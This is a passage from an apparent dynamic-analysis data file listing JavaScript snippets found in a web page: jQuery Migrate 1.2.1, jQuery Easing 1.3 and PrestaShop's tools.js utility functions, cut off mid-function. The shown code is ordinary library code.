"snippet": "/*! jQuery Migrate v1.2.1 | (c) 2005, 2013 jQuery Foundation, Inc. and other contributors | jquery.org/license */jQuery.migrateMute===void 0&&(jQuery.migrateMute=!0),function(e,t,n){function r(n){var r=t.console;i[n]||(i[n]=!0,e.migrateWarnings.push(n),r&&r.warn&&!e.migrateMute&&(r.warn(\"JQMIGRATE: \"+n),e.migrateTrace&&r.trace&&r.trace()))}function a(t,a,i,o){if(Object.defineProperty)try{return Object.defineProperty(t,a,{configurable:!0,enumerable:!0,get:function(){return r(o),i},set:function(e){r(o),i=e}}),n}catch(s){}e._definePropertyBroken=!0,t[a]=i}var i={};e.migrateWarnings=[],!e.migrateMute&&t.console&&t.console.log&&t.console.log(\"JQMIGRATE: Logging is active\"),e.migrateTrace===n&&(e.migrateTrace=!0),e.migrateReset=function(){i={},e.migrateWarnings.length=0},\"BackCompat\"===document.compatMode&&r(\"jQuery is not compatible with Quirks Mode\");var o=e(\"<input/>\",{size:1}).attr(\"size\")&&e.attrFn,s=e.attr,u=e.attrHooks.value&&e.attrHooks.value.get||function(){return null},c=e.attrHooks.value&&e.attrHooks.value.set||function(){return n},l=/^(?:input|button)$/i,d=/^[238]$/,p=/^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,f=/^(?:checked|selected)$/i;a(e,\"attrFn\",o||{},\"jQuery.attrFn is deprecated\"),e.attr=function(t,a,i,u){var c=a.toLowerCase(),g=t&&t.nodeType;return u&&(4>s.length&&r(\"jQuery.fn.attr( props, pass ) is deprecated\"),t&&!d.test(g)&&(o?a in o:e.isFunction(e.fn[a])))?e(t)[a](i):(\"type\"===a&&i!==n&&l.test(t.nodeName)&&t.parentNode&&r(\"Can't change the 'type' of an input or button in IE 6/7/8\"),!e.attrHooks[c]&&p.test(c)&&(e.attrHooks[c]={get:function(t,r){var a,i=e.prop(t,r);return i===!0||\"boolean\"!=typeof i&&(a=t.getAttributeNode(r))&&a.nodeValue!==!1?r.toLowerCase():n},set:function(t,n,r){var a;return n===!1?e.removeAttr(t,r):(a=e.propFix[r]||r,a in t&&(t[a]=!0),t.setAttribute(r,r.toLowerCase())),r}},f.test(c)&&r(\"jQuery.fn.attr('\"+c+\"') may use property instead of attribute\")),s.call(e,t,a,i))},e.attrHooks.value={get:function(e,t){var n=(e.nodeName||\"\").toLowerCase();return\"button\"===n?u.apply(this,arguments):(\"input\"!==n&&\"option\"!==n&&r(\"jQuery.fn.attr('value') no longer gets properties\"),t in e?e.value:null)},set:function(e,t){var a=(e.nodeName||\"\").toLowerCase();return\"button\"===a?c.apply(this,arguments):(\"input\"!==a&&\"option\"!==a&&r(\"jQuery.fn.attr('value', val) no longer sets properties\"),e.value=t,n)}};var g,h,v=e.fn.init,m=e.parseJSON,y=/^([^<]*)(<[\\w\\W]+>)([^>]*)$/;e.fn.init=function(t,n,a){var i;return t&&\"string\"==typeof t&&!e.isPlainObject(n)&&(i=y.exec(e.trim(t)))&&i[0]&&(\"<\"!==t.charAt(0)&&r(\"$(html) HTML strings must start with '<' character\"),i[3]&&r(\"$(html) HTML text after last tag is ignored\"),\"#\"===i[0].charAt(0)&&(r(\"HTML string cannot start with a '#' character\"),e.error(\"JQMIGRATE: Invalid selector string (XSS)\")),n&&n.context&&(n=n.context),e.parseHTML)?v.call(this,e.parseHTML(i[2],n,!0),n,a):v.apply(this,arguments)},e.fn.init.prototype=e.fn,e.parseJSON=function(e){return e||null===e?m.apply(this,arguments):(r(\"jQuery.parseJSON requires a valid JSON string\"),null)},e.uaMatch=function(e){e=e.toLowerCase();var t=/(chrome)[ \\/]([\\w.]+)/.exec(e)||/(webkit)[ \\/]([\\w.]+)/.exec(e)||/(opera)(?:.*version|)[ \\/]([\\w.]+)/.exec(e)||/(msie) ([\\w.]+)/.exec(e)||0>e.indexOf(\"compatible\")&&/(mozilla)(?:.*? rv:([\\w.]+)|)/.exec(e)||[];return{browser:t[1]||\"\",version:t[2]||\"0\"}},e.browser||(g=e.uaMatch(navigator.userAgent),h={},g.browser&&(h[g.browser]=!0,h.version=g.version),h.chrome?h.webkit=!0:h.webkit&&(h.safari=!0),e.browser=h),a(e,\"browser\",e.browser,\"jQuery.browser is deprecated\"),e.sub=function(){function t(e,n){return new t.fn.init(e,n)}e.extend(!0,t,this),t.superclass=this,t.fn=t.prototype=this(),t.fn.constructor=t,t.sub=this.sub,t.fn.init=function(r,a){return a&&a instanceof e&&!(a instanceof t)&&(a=t(a)),e.fn.init.call(this,r,a,n)},t.fn.init.prototype=t.fn;var n=t(document);return r(\"jQuery.sub() is deprecated\"),t},e.ajaxSetup({converters:{\"text json\":e.parseJSON}});var b=e.fn.data;e.fn.data=function(t){var a,i,o=this[0];return!o||\"events\"!==t||1!==arguments.length||(a=e.data(o,t),i=e._data(o,t),a!==n&&a!==i||i===n)?b.apply(this,arguments):(r(\"Use of jQuery.fn.data('events') is deprecated\"),i)};var j=/\\/(java|ecma)script/i,w=e.fn.andSelf||e.fn.addBack;e.fn.andSelf=function(){return r(\"jQuery.fn.andSelf() replaced by jQuery.fn.addBack()\"),w.apply(this,arguments)},e.clean||(e.clean=function(t,a,i,o){a=a||document,a=!a.nodeType&&a[0]||a,a=a.ownerDocument||a,r(\"jQuery.clean() is deprecated\");var s,u,c,l,d=[];if(e.merge(d,e.buildFragment(t,a).childNodes),i)for(c=function(e){return!e.type||j.test(e.type)?o?o.push(e.parentNode?e.parentNode.removeChild(e):e):i.appendChild(e):n},s=0;null!=(u=d[s]);s++)e.nodeName(u,\"script\")&&c(u)||(i.appendChild(u),u.getElementsByTagName!==n&&(l=e.grep(e.merge([],u.getElementsByTagName(\"script\")),c),d.splice.apply(d,[s+1,0].concat(l)),s+=l.length));return d});var Q=e.event.add,x=e.event.remove,k=e.event.trigger,N=e.fn.toggle,T=e.fn.live,M=e.fn.die,S=\"ajaxStart|ajaxStop|ajaxSend|ajaxComplete|ajaxError|ajaxSuccess\",C=RegExp(\"\\\\b(?:\"+S+\")\\\\b\"),H=/(?:^|\\s)hover(\\.\\S+|)\\b/,A=function(t){return\"string\"!=typeof t||e.event.special.hover?t:(H.test(t)&&r(\"'hover' pseudo-event is deprecated, use 'mouseenter mouseleave'\"),t&&t.replace(H,\"mouseenter$1 mouseleave$1\"))};e.event.props&&\"attrChange\"!==e.event.props[0]&&e.event.props.unshift(\"attrChange\",\"attrName\",\"relatedNode\",\"srcElement\"),e.event.dispatch&&a(e.event,\"handle\",e.event.dispatch,\"jQuery.event.handle is undocumented and deprecated\"),e.event.add=function(e,t,n,a,i){e!==document&&C.test(t)&&r(\"AJAX events should be attached to document: \"+t),Q.call(this,e,A(t||\"\"),n,a,i)},e.event.remove=function(e,t,n,r,a){x.call(this,e,A(t)||\"\",n,r,a)},e.fn.error=function(){var e=Array.prototype.slice.call(arguments,0);return r(\"jQuery.fn.error() is deprecated\"),e.splice(0,0,\"error\"),arguments.length?this.bind.apply(this,e):(this.triggerHandler.apply(this,e),this)},e.fn.toggle=function(t,n){if(!e.isFunction(t)||!e.isFunction(n))return N.apply(this,arguments);r(\"jQuery.fn.toggle(handler, handler...) is deprecated\");var a=arguments,i=t.guid||e.guid++,o=0,s=function(n){var r=(e._data(this,\"lastToggle\"+t.guid)||0)%o;return e._data(this,\"lastToggle\"+t.guid,r+1),n.preventDefault(),a[r].apply(this,arguments)||!1};for(s.guid=i;a.length>o;)a[o++].guid=i;return this.click(s)},e.fn.live=function(t,n,a){return r(\"jQuery.fn.live() is deprecated\"),T?T.apply(this,arguments):(e(this.context).on(t,this.selector,n,a),this)},e.fn.die=function(t,n){return r(\"jQuery.fn.die() is deprecated\"),M?M.apply(this,arguments):(e(this.context).off(t,this.selector||\"**\",n),this)},e.event.trigger=function(e,t,n,a){return n||C.test(e)||r(\"Global events are undocumented and deprecated\"),k.call(this,e,t,n||document,a)},e.each(S.split(\"|\"),function(t,n){e.event.special[n]={setup:function(){var t=this;return t!==document&&(e.event.add(document,n+\".\"+e.guid,function(){e.event.trigger(n,null,t,!0)}),e._data(this,n,e.guid++)),!1},teardown:function(){return this!==document&&e.event.remove(document,n+\".\"+e._data(this,n)),!1}}})}(jQuery,window);",
"relationship": "Contained_Inside",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/* * jQuery Easing v1.3 - http://gsgd.co.uk/sandbox/jquery/easing/ * * Uses the built In easIng capabilities added In jQuery 1.1 * to offer multiple easIng options * * Copyright (c) 2007 George Smith * Licensed under the MIT License: * http://www.opensource.org/licenses/mit-license.php */// t: current time, b: begInnIng value, c: change In value, d: durationjQuery.easing['jswing'] = jQuery.easing['swing'];jQuery.extend( jQuery.easing,{\tdef: 'easeOutQuad',\tswing: function (x, t, b, c, d) {\t\t//alert(jQuery.easing.default);\t\treturn jQuery.easing[jQuery.easing.def](x, t, b, c, d);\t},\teaseInQuad: function (x, t, b, c, d) {\t\treturn c*(t/=d)*t + b;\t},\teaseOutQuad: function (x, t, b, c, d) {\t\treturn -c *(t/=d)*(t-2) + b;\t},\teaseInOutQuad: function (x, t, b, c, d) {\t\tif ((t/=d/2) < 1) return c/2*t*t + b;\t\treturn -c/2 * ((--t)*(t-2) - 1) + b;\t},\teaseInCubic: function (x, t, b, c, d) {\t\treturn c*(t/=d)*t*t + b;\t},\teaseOutCubic: function (x, t, b, c, d) {\t\treturn c*((t=t/d-1)*t*t + 1) + b;\t},\teaseInOutCubic: function (x, t, b, c, d) {\t\tif ((t/=d/2) < 1) return c/2*t*t*t + b;\t\treturn c/2*((t-=2)*t*t + 2) + b;\t},\teaseInQuart: function (x, t, b, c, d) {\t\treturn c*(t/=d)*t*t*t + b;\t},\teaseOutQuart: function (x, t, b, c, d) {\t\treturn -c * ((t=t/d-1)*t*t*t - 1) + b;\t},\teaseInOutQuart: function (x, t, b, c, d) {\t\tif ((t/=d/2) < 1) return c/2*t*t*t*t + b;\t\treturn -c/2 * ((t-=2)*t*t*t - 2) + b;\t},\teaseInQuint: function (x, t, b, c, d) {\t\treturn c*(t/=d)*t*t*t*t + b;\t},\teaseOutQuint: function (x, t, b, c, d) {\t\treturn c*((t=t/d-1)*t*t*t*t + 1) + b;\t},\teaseInOutQuint: function (x, t, b, c, d) {\t\tif ((t/=d/2) < 1) return c/2*t*t*t*t*t + b;\t\treturn c/2*((t-=2)*t*t*t*t + 2) + b;\t},\teaseInSine: function (x, t, b, c, d) {\t\treturn -c * Math.cos(t/d * (Math.PI/2)) + c + b;\t},\teaseOutSine: function (x, t, b, c, d) {\t\treturn c * Math.sin(t/d * (Math.PI/2)) + b;\t},\teaseInOutSine: function (x, t, b, c, d) {\t\treturn -c/2 * (Math.cos(Math.PI*t/d) - 1) + b;\t},\teaseInExpo: function (x, t, b, c, d) {\t\treturn (t==0) ? b : c * Math.pow(2, 10 * (t/d - 1)) + b;\t},\teaseOutExpo: function (x, t, b, c, d) {\t\treturn (t==d) ? b+c : c * (-Math.pow(2, -10 * t/d) + 1) + b;\t},\teaseInOutExpo: function (x, t, b, c, d) {\t\tif (t==0) return b;\t\tif (t==d) return b+c;\t\tif ((t/=d/2) < 1) return c/2 * Math.pow(2, 10 * (t - 1)) + b;\t\treturn c/2 * (-Math.pow(2, -10 * --t) + 2) + b;\t},\teaseInCirc: function (x, t, b, c, d) {\t\treturn -c * (Math.sqrt(1 - (t/=d)*t) - 1) + b;\t},\teaseOutCirc: function (x, t, b, c, d) {\t\treturn c * Math.sqrt(1 - (t=t/d-1)*t) + b;\t},\teaseInOutCirc: function (x, t, b, c, d) {\t\tif ((t/=d/2) < 1) return -c/2 * (Math.sqrt(1 - t*t) - 1) + b;\t\treturn c/2 * (Math.sqrt(1 - (t-=2)*t) + 1) + b;\t},\teaseInElastic: function (x, t, b, c, d) {\t\tvar s=1.70158;var p=0;var a=c;\t\tif (t==0) return b; if ((t/=d)==1) return b+c; if (!p) p=d*.3;\t\tif (a < Math.abs(c)) { a=c; var s=p/4; }\t\telse var s = p/(2*Math.PI) * Math.asin (c/a);\t\treturn -(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b;\t},\teaseOutElastic: function (x, t, b, c, d) {\t\tvar s=1.70158;var p=0;var a=c;\t\tif (t==0) return b; if ((t/=d)==1) return b+c; if (!p) p=d*.3;\t\tif (a < Math.abs(c)) { a=c; var s=p/4; }\t\telse var s = p/(2*Math.PI) * Math.asin (c/a);\t\treturn a*Math.pow(2,-10*t) * Math.sin( (t*d-s)*(2*Math.PI)/p ) + c + b;\t},\teaseInOutElastic: function (x, t, b, c, d) {\t\tvar s=1.70158;var p=0;var a=c;\t\tif (t==0) return b; if ((t/=d/2)==2) return b+c; if (!p) p=d*(.3*1.5);\t\tif (a < Math.abs(c)) { a=c; var s=p/4; }\t\telse var s = p/(2*Math.PI) * Math.asin (c/a);\t\tif (t < 1) return -.5*(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b;\t\treturn a*Math.pow(2,-10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )*.5 + c + b;\t},\teaseInBack: function (x, t, b, c, d, s) {\t\tif (s == undefined) s = 1.70158;\t\treturn c*(t/=d)*t*((s+1)*t - s) + b;\t},\teaseOutBack: function (x, t, b, c, d, s) {\t\tif (s == undefined) s = 1.70158;\t\treturn c*((t=t/d-1)*t*((s+1)*t + s) + 1) + b;\t},\teaseInOutBack: function (x, t, b, c, d, s) {\t\tif (s == undefined) s = 1.70158; \t\tif ((t/=d/2) < 1) return c/2*(t*t*(((s*=(1.525))+1)*t - s)) + b;\t\treturn c/2*((t-=2)*t*(((s*=(1.525))+1)*t + s) + 2) + b;\t},\teaseInBounce: function (x, t, b, c, d) {\t\treturn c - jQuery.easing.easeOutBounce (x, d-t, 0, c, d) + b;\t},\teaseOutBounce: function (x, t, b, c, d) {\t\tif ((t/=d) < (1/2.75)) {\t\t\treturn c*(7.5625*t*t) + b;\t\t} else if (t < (2/2.75)) {\t\t\treturn c*(7.5625*(t-=(1.5/2.75))*t + .75) + b;\t\t} else if (t < (2.5/2.75)) {\t\t\treturn c*(7.5625*(t-=(2.25/2.75))*t + .9375) + b;\t\t} else {\t\t\treturn c*(7.5625*(t-=(2.625/2.75))*t + .984375) + b;\t\t}\t},\teaseInOutBounce: function (x, t, b, c, d) {\t\tif (t < d/2) return jQuery.easing.easeInBounce (x, t*2, 0, c, d) * .5 + b;\t\treturn jQuery.easing.easeOutBounce (x, t*2-d, 0, c, d) * .5 + c*.5 + b;\t}});",
"relationship": "Contained_Inside",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/** 2007-2015 PrestaShop** NOTICE OF LICENSE** This source file is subject to the Open Software License (OSL 3.0)* that is bundled with this package in the file LICENSE.txt.* It is also available through the world-wide-web at this URL:* http://opensource.org/licenses/osl-3.0.php* If you did not receive a copy of the license and are unable to* obtain it through the world-wide-web, please send an email* to license@prestashop.com so we can send you a copy immediately.** DISCLAIMER** Do not edit or add to this file if you wish to upgrade PrestaShop to newer* versions in the future. If you wish to customize PrestaShop for your* needs please refer to http://www.prestashop.com for more information.** @author PrestaShop SA <contact@prestashop.com>* @copyright 2007-2015 PrestaShop SA* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)* International Registered Trademark & Property of PrestaShop SA*/function formatedNumberToFloat(price, currencyFormat, currencySign){\tprice = price.replace(currencySign, '');\tif (currencyFormat === 1)\t\treturn parseFloat(price.replace(',', '').replace(' ', ''));\telse if (currencyFormat === 2)\t\treturn parseFloat(price.replace(' ', '').replace(',', '.'));\telse if (currencyFormat === 3)\t\treturn parseFloat(price.replace('.', '').replace(' ', '').replace(',', '.'));\telse if (currencyFormat === 4)\t\treturn parseFloat(price.replace(',', '').replace(' ', ''));\treturn price;}//return a formatted numberfunction formatNumber(value, numberOfDecimal, thousenSeparator, virgule){\tvalue = value.toFixed(numberOfDecimal);\tvar val_string = value+'';\tvar tmp = val_string.split('.');\tvar abs_val_string = (tmp.length === 2) ? tmp[0] : val_string;\tvar deci_string = ('0.' + (tmp.length === 2 ? tmp[1] : 0)).substr(2);\tvar nb = abs_val_string.length;\tfor (var i = 1 ; i < 4; i++)\t\tif (value >= Math.pow(10, (3 * i)))\t\t\tabs_val_string = abs_val_string.substring(0, nb - (3 * i)) + thousenSeparator + abs_val_string.substring(nb - (3 * i));\tif (parseInt(numberOfDecimal) === 0)\t\treturn abs_val_string;\treturn abs_val_string + virgule + (deci_string > 0 ? deci_string : '00');}function formatCurrency(price, currencyFormat, currencySign, currencyBlank){\t// if you modified this function, don't forget to modify the PHP function displayPrice (in the Tools.php class)\tvar blank = '';\tprice = parseFloat(price.toFixed(10));\tprice = ps_round(price, priceDisplayPrecision);\tif (currencyBlank > 0)\t\tblank = ' ';\tif (currencyFormat == 1)\t\treturn currencySign + blank + formatNumber(price, priceDisplayPrecision, ',', '.');\tif (currencyFormat == 2)\t\treturn (formatNumber(price, priceDisplayPrecision, ' ', ',') + blank + currencySign);\tif (currencyFormat == 3)\t\treturn (currencySign + blank + formatNumber(price, priceDisplayPrecision, '.', ','));\tif (currencyFormat == 4)\t\treturn (formatNumber(price, priceDisplayPrecision, ',', '.') + blank + currencySign);\tif (currencyFormat == 5)\t\treturn (currencySign + blank + formatNumber(price, priceDisplayPrecision, '\\'', '.'));\treturn price;}function ps_round_helper(value, mode){\t// From PHP Math.c\tif (value >= 0.0)\t{\t\ttmp_value = Math.floor(value + 0.5);\t\tif ((mode == 3 && value == (-0.5 + tmp_value)) ||\t\t\t(mode == 4 && value == (0.5 + 2 * Math.floor(tmp_value / 2.0))) ||\t\t\t(mode == 5 && value == (0.5 + 2 * Math.floor(tmp_value / 2.0) - 1.0)))\t\t\ttmp_value -= 1.0;\t}\telse\t{\t\ttmp_value = Math.ceil(value - 0.5);\t\tif ((mode == 3 && value == (0.5 + tmp_value)) ||\t\t\t(mode == 4 && value == (-0.5 + 2 * Math.ceil(tmp_value / 2.0))) ||\t\t\t(mode == 5 && value == (-0.5 + 2 * Math.ceil(tmp_value / 2.0) + 1.0)))\t\t\ttmp_value += 1.0;\t}\treturn tmp_value;}function ps_log10(value){\treturn Math.log(value) / Math.LN10;}function ps_round_half_up(value, precision){\tvar mul = Math.pow(10, precision);\tvar val = value * mul;\tvar next_digit = Math.floor(val * 10) - 10 * Math.floor(val);\tif (next_digit >= 5)\t\tval = Math.ceil(val);\telse\t\tval = Math.floor(val);\treturn val / mul;}function ps_round(value, places){\tif (typeof(roundMode) === 'undefined')\t\troundMode = 2;\tif (typeof(places) === 'undefined')\t\tplaces = 2;\tvar method = roundMode;\tif (method === 0)\t\treturn ceilf(value, places);\telse if (method === 1)\t\treturn floorf(value, places);\telse if (method === 2)\t\treturn ps_round_half_up(value, places);\telse if (method == 3 || method == 4 || method == 5)\t{\t\t// From PHP Math.c\t\tvar precision_places = 14 - Math.floor(ps_log10(Math.abs(value)));\t\tvar f1 = Math.pow(10, Math.abs(places));\t\tif (precision_places > places && precision_places - places < 15)\t\t{\t\t\tvar f2 = Math.pow(10, Math.abs(precision_places));\t\t\tif (precision_places >= 0)\t\t\t\ttmp_value = value * f2;\t\t\telse\t\t\t\ttmp_value = value / f2;\t\t\ttmp_value = ps_round_helper(tmp_value, roundMode);\t\t\t/* now correctly move the decimal point */\t\t\tf2 = Math.pow(10, Math.abs(places - precision_places));\t\t\t/* because places < precision_places */\t\t\ttmp_value /= f2;\t\t}\t\telse\t\t{\t\t\t/* adjust the value */\t\t\tif (places >= 0)\t\t\t\ttmp_value = value * f1;\t\t\telse\t\t\t\ttmp_value = value / f1;\t\t\tif (Math.abs(tmp_value) >= 1e15)\t\t\t\treturn value;\t\t}\t\ttmp_value = ps_round_helper(tmp_value, roundMode);\t\tif (places > 0)\t\t\ttmp_value = tmp_value / f1;\t\telse\t\t\ttmp_value = tmp_value * f1;\t\treturn tmp_value;\t}}function autoUrl(name, dest){\tvar loc;\tvar id_list;\tid_list = document.getElementById(name);\tloc = id_list.options[id_list.selectedIndex].value;\tif (loc != 0)\t\tlocation.href = dest+loc;\treturn ;}function autoUrlNoList(name, dest){\tvar loc;\tloc = document.getElementById(name).checked;\tlocation.href = dest + (loc == true ? 1 : 0);\treturn ;}/*** show or hide element e depending on condition show*/function toggle(e, show){\te.style.display = show ? '' : 'none';}function toggleMultiple(tab){ var len = tab.length; for (var i = 0; i < len; i++) if (tab[i].style) toggle(tab[i], tab[i].style.display == 'none');}/*** Show dynamicaly an element by changing the sytle \"display\" property* depending on the option selected in a select.** @param string $select_id id of the select who controls the display* @param string $elem_id prefix id of the elements controlled by the select* the real id must be : 'elem_id'+nb with nb the corresponding number in the* select (starting with 0).*/function showElemFromSelect(select_id, elem_id){\tvar select = document.getElementById(select_id);\tfor (var i = 0; i < select.length; ++i)\t{\t var elem = document.getElementById(elem_id + select.options[i].value);\t\tif (elem != null)\t\t\ttoggle(elem, i == select.selectedIndex);\t}}/*** Get all div with specified name and for each one (by id), toggle their visibility*/function openCloseAllDiv(name, option){\tvar tab = $('*[name='+name+']');\tfor (var i = 0; i < tab.length; ++i)\t\ttoggle(tab[i], option);}function toggleDiv(name, option){\t$('*[name='+name+']').each(function(){\t\tif (option == 'open')\t\t{\t\t\t$('#buttonall').data('status', 'close');\t\t\t$(this).hide();\t\t}\t\telse\t\t{\t\t\t$('#buttonall').data('status', 'open');\t\t\t$(this).show();\t\t}\t})}function toggleButtonValue(id_button, text1, text2){\tif ($('#'+id_button).find('i').first().hasClass('process-icon-compress'))\t{\t\t$('#'+id_button).find('i').first().removeClass('process-icon-compress').addClass('process-icon-expand');\t\t$('#'+id_button).find('span').first().html(text1);\t}\telse\t{\t\t$('#'+id_button).find('i').first().removeClass('process-icon-expand').addClass('process-icon-compress');\t\t$('#'+id_button).find('span').first().html(text2);\t}}/*** Toggle the value of the element id_button between text1 and text2*/function toggleElemValue(id_button, text1, text2){\tvar obj = document.getElementById(id_button);\tif (obj)\t\tobj.value = ((!obj.value || obj.value == text2) ? text1 : text2);}function addBookmark(url, title){\tif (window.sidebar && window.sidebar.addPanel)\t\treturn window.sidebar.addPanel(title, url, \"\");\telse if ( window.external && ('AddFavorite' in window.external))\t\treturn window.external.AddFavorite( url, title);}function writeBookmarkLink(url, title, text, img){\tvar insert = '';\tif (img)\t\tinsert = writeBookmarkLinkObject(url, title, '<img src=\"' + img + '\" alt=\"' + escape(text) + '\" title=\"' + removeQuotes(text) + '\" />') + '&nbsp';\tinsert += writeBookmarkLinkObject(url, title, text);\tif (window.sidebar || window.opera && window.print || (window.external && ('AddFavorite' in window.external)))\t\t$('.add_bookmark, #header_link_bookmark').append(insert);}function writeBookmarkLinkObject(url, title, insert){\tif (window.sidebar || window.external)\t\treturn ('<a href=\"javascript:addBookmark(\\'' + escape(url) + '\\', \\'' + removeQuotes(title) + '\\')\">' + insert + '</a>');\telse if (window.opera && window.print)\t\treturn ('<a rel=\"sidebar\" href=\"' + escape(url) + '\" title=\"' + removeQuotes(title) + '\">' + insert + '</a>');\treturn ('');}function checkCustomizations(){\tvar pattern = new RegExp(' ?filled ?');\tif (typeof customizationFields != 'undefined')\t\tfor (var i = 0; i < customizationFields.length; i++)\t\t{\t\t\t/* If the field is required and empty then we abort */\t\t\tif (parseInt(customizationFields[i][1]) == 1 && ($('#' + customizationFields[i][0]).html() == '' || $('#' + customizationFields[i][0]).text() != $('#' + customizationFields[i][0]).val()) && !pattern.test($('#' + customizationFields[i][0]).attr('class')))\t\t\t\treturn false;\t\t}\treturn true;}function emptyCustomizations(){\tcustomizationId = null;\tif(typeof(customizationFields) == 'undefined') return;\t$('.customization_block .success').fadeOut(function(){\t\t$(this).remove();\t});\t$('.customization_block .error').fadeOut(function(){\t\t$(this).remove();\t});\tfor (var i = 0; i < customizationFields.length; i++)\t{\t\t$('#' + customizationFields[i][0]).html('');\t\t$('#' + customizationFields[i][0]).val('');\t}}function ceilf(value, precision){\tif (typeof(precision) === 'undefined')\t\tprecision = 0;\tvar precisionFactor = precision === 0 ? 1 : Math.pow(10, precision);\tvar tmp = value * precisionFactor;\tvar tmp2 = tmp.toString();\tif (tmp2[tmp2.length - 1] === 0)\t\treturn value;\treturn Math.ceil(value * precisionFactor) / precisionFactor;}function floorf(value, precision){\tif (typeof(precision) === 'undefined')\t\tprecision = 0;\tvar precisionFactor = precision === 0 ? 1 : Math.pow(10, precision);\tvar tmp = value * precisionFactor;\tvar tmp2 = tmp.toString();\tif (tmp2[tmp2.length - 1] === 0)\t\treturn value;\treturn Math.floor(value * precisionFactor) / precisionFactor;}function setCurrency(id_currency){\t$.ajax({\t\ttype: 'POST',\t\theaders: { \"cache-control\": \"no-cache\" },\t\turl: baseDir + 'index.php' + '?rand=' + new Date().getTime(),\t\tdata: 'controller=change-currency&id_currency='+ parseInt(id_currency),\t\tsuccess: function(msg)\t\t{\t\t\tlocation.reload(true);\t\t}\t});}function isArrowKey(k_ev){\tvar unicode=k_ev.keyCode? k_ev.keyCode : k_ev.charCode;\tif (unicode >= 37 && unicode <= 40)\t\treturn true;\treturn false;}function removeQuotes(value){\tvalue = value.replace(/\\\\\"/g, '');\tvalue = value.replace(/\"/g, '');\tvalue = value.replace(/\\\\'/g, '');\tvalue = value.replace(/'/g, '');\treturn value;}function sprintf(format){\tfor(var i=1; i < arguments.length; i++)\t\tformat = format.replace(/%s/, arguments[i]);\treturn format;}/** * Display a MessageBox * @param {string} msg * @param {string} title (optional) */function fancyMsgBox(msg, title){ if (title) msg = \"<h2>\" + title + \"</h2><p>\" + msg + \"</p>\"; msg += \"<br/><p class=\\\"submit\\\" style=\\\"text-align:right; padding-bottom: 0\\\"><input class=\\\"button\\\" type=\\\"button\\\" value=\\\"OK\\\" onclick=\\\"$.fancybox.close();\\\" /></p>\";\tif(!!$.prototype.fancybox) \t$.fancybox( msg, {'autoDimensions': false, 'autoSize': false, 'width': 500, 'height': 'auto', 'openEffect': 'none', 'closeEffect': 'none'} );}/** * Display a messageDialog with different buttons including a callback for each one * @param {string} question * @param {mixed} title Optional title for the dialog box. Send false if you don't want any title * @param {object} buttons Associative array containg a list of {buttonCaption: callbackFunctionName, ...}. Use an empty space instead of function name for no callback * @param {mixed} otherParams Optional data sent to the callback function */function fancyChooseBox(question, title, buttons, otherParams){ var msg, funcName, action;\tmsg = ''; if (title)\t\tmsg = \"<h2>\" + title + \"</h2><p>\" + question + \"</p>\"; msg += \"<br/><p class=\\\"submit\\\" style=\\\"text-align:right; padding-bottom: 0\\\">\"; var i = 0; for (var caption in buttons) { if (!buttons.hasOwnProperty(caption)) continue; funcName = buttons[caption]; if (typeof otherParams == 'undefined') otherParams = 0; otherParams = escape(JSON.stringify(otherParams)); action = funcName ? \"$.fancybox.close();window['\" + funcName + \"'](JSON.parse(unescape('\" + otherParams + \"')), \" + i + \")\" : \"$.fancybox.close()\";\t msg += '<button type=\"submit\" class=\"button btn-default button-medium\" style=\"margin-right: 5px;\" value=\"true\" onclick=\"' + action + '\" >';\t msg += '<span>' + caption + '</span></button>' i++; } msg += \"</p>\";\tif(!!$.prototype.fancybox) \t$.fancybox(msg, {'autoDimensions': false, 'width': 500, 'height': 'auto', 'openEffect': 'none', 'closeEffect': 'none'});}function toggleLayer(whichLayer, flag){\tif (!flag)\t\t$(whichLayer).hide();\telse\t\t$(whichLayer).show();}function openCloseLayer(whichLayer, action){\tif (!action)\t{\t\tif ($(whichLayer).css('display') == 'none')\t\t\t$(whichLayer).show();\t\telse\t\t\t$(whichLayer).hide();\t}\telse if (action == 'open')\t\t$(whichLayer).show();\telse if (action == 'close')\t\t$(whichLayer).hide();}function updateTextWithEffect(jQueryElement, text, velocity, effect1, effect2, newClass){\tif(jQueryElement.text() !== text)\t{\t\tif(effect1 === 'fade')\t\t\tjQueryElement.fadeOut(velocity, function(){\t\t\t\t$(this).addClass(newClass);\t\t\t\tif(effect2 === 'fade') $(this).text(text).fadeIn(velocity);\t\t\t\telse if(effect2 === 'slide') $(this).text(text).slideDown(velocity);\t\t\t\t\telse if(effect2 === 'show')\t$(this).text(text).show(velocity, function(){});\t\t\t});\t\telse if(effect1 === 'slide')\t\t\tjQueryElement.slideUp(velocity, function(){\t\t\t\t$(this).addClass(newClass);\t\t\t\tif(effect2 === 'fade') $(this).text(text).fadeIn(velocity);\t\t\t\telse if(effect2 === 'slide') $(this).text(text).slideDown(velocity);\t\t\t\t\telse if(effect2 === 'show')\t$(this).text(text).show(velocity);\t\t\t});\t\telse if(effect1 === 'hide')\t\t\tjQueryElement.hide(velocity, function(){\t\t\t\t$(this).addClass(newClass);\t\t\t\tif(effect2 === 'fade') $(this).text(text).fadeIn(velocity);\t\t\t\telse if(effect2 === 'slide') $(this).text(text).slideDown(velocity);\t\t\t\t\telse if(effect2 === 'show')\t$(this).text(text).show(velocity);\t\t\t});\t}}//show a JS debugfunction dbg(value){\tvar active = false;//true for active\tvar firefox = true;//true if debug under firefox\tif (active)\t\tif (firefox)\t\t\tconsole.log(value);\t\telse\t\t\talert(value);}/*** Function : print_r()* Arguments: The element - array,hash(associative array),object* The limit - OPTIONAL LIMIT* The depth - OPTIONAL* Returns : The textual representation of the array.* This function was inspired by the print_r function of PHP.* This will accept some data as the argument and return a* text that will be a more readable version of the* array/hash/object that is given.*/function print_r(element, limit, depth){\tdepth =\tdepth?depth:0;\tlimit = limit?limit:1;\treturnString = '<ol>';\tfor(property in element)\t{\t\t//Property domConfig isn't accessable\t\tif (property != 'domConfig')\t\t{\t\t\treturnString += '<li><strong>'+ property + '</strong> <small>(' + (typeof element[property]) +')</small>';\t\t\tif (typeof element[property] == 'number' || typeof element[property] == 